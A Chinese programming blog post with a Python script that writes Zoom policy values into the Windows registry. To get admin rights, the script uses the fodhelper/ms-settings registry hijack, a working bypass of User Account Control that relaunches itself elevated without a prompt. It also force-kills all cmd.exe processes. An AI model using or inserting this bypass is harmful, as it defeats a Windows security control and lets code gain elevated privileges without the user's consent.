Python 管理员权限操作注册表

1. 将以下txt文件中键值对写入到注册表

Enable49video:1
Disable49video:2

2. 注册表

3. 完整代码

# coding: utf-8
from __future__ import print_function
import os
import sys
import ctypes
import winreg
import win32api
import win32con
from log_module import LogClass

parent_path = os.path.dirname(os.path.abspath(__file__))
sys.path.append(parent_path)


class OperationRegistry(LogClass):
    """操作注册表"""

    def __init__(self):
        """初始化"""
        LogClass.__init__(self, logName='OperationRegistry')
        self.setTimedRotatingFileHandler(fileName='OperationRegistry')  # 日志
        self.CMD = r"C:\Windows\System32\cmd.exe"
        self.FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
        self.PYTHON_CMD = "python"
        self.REG_PATH = r'Software\Classes\ms-settings\shell\open\command'
        self.DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
        self.Zoom = r'SOFTWARE\Policies\Zoom\Zoom Meetings'

    def is_admin(self):
        """检查脚本是否以管理权限运行"""
        try:
            return ctypes.windll.shell32.IsUserAnAdmin()
        except Exception as e:
            self.logger.error(e)
            return False

    def create_reg_key(self, key, value):
        """注册表创建key"""
        try:
            winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.REG_PATH)
            registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, self.REG_PATH, 0, winreg.KEY_WRITE)
            winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
            winreg.CloseKey(registry_key)
        except WindowsError as e:
            self.logger.error(e)
            raise

    def bypass_uac(self, cmd):
        """利用注册表试图绕过UAC"""
        try:
            self.create_reg_key(self.DELEGATE_EXEC_REG_KEY, '')
            self.create_reg_key(None, cmd)
        except WindowsError as e:
            self.logger.error(e)
            raise

    def execute(self):
        """管理员权限执行代码"""
        if not self.is_admin():
            try:

                current_dir = parent_path + "\\OperationRegistry.py"
                cmd = '{} /k {} {}'.format(self.CMD, self.PYTHON_CMD, current_dir)
                self.bypass_uac(cmd)
                os.system(self.FOD_HELPER)
                sys.exit(0)
            except WindowsError as e:
                self.logger.error(e)
                sys.exit(1)
        else:
            # 这里添加需要管理员权限的代码
            try:
                key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, self.Zoom, 0, win32con.KEY_ALL_ACCESS)  # 打开注册表
                with open(parent_path + "\\test.txt", "r", encoding="utf-8") as f:
                    lines = f.readlines()
                    for i in lines:
                        name = i.split(":")[0]
                        value = int(i.split(":")[1])
                        win32api.RegSetValueEx(key, name, 0, win32con.REG_DWORD, value)  # 设置项值,如果存在,则修改,如果不存在,则添加
                os.system("taskkill /f /im cmd.exe")
                zoom = win32api.RegQueryValueEx(key, 'Enable49video')  # 读取项值
                print(zoom)
                # win32api.RegSetValue(key,'',win32con.REG_SZ,'Zoom Meetings') # 设置项的默认值x
                # win32api.RegQueryValue(key, 'Enable49video')  # 读取默认项值
                # win32api.RegCreateKey(key, 'Zoom Meetings')  # 添加key
                # win32api.RegDeleteKey(key, 'Zoom Meetings')  # 删除key
                # win32api.RegDeleteValue(key, 'Enable49video')  # 删除项
                win32api.RegCloseKey(key)  # 关闭注册表
            except Exception as e:
                self.logger.error(e)


if __name__ == '__main__':
    OperationRegistry().execute()

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值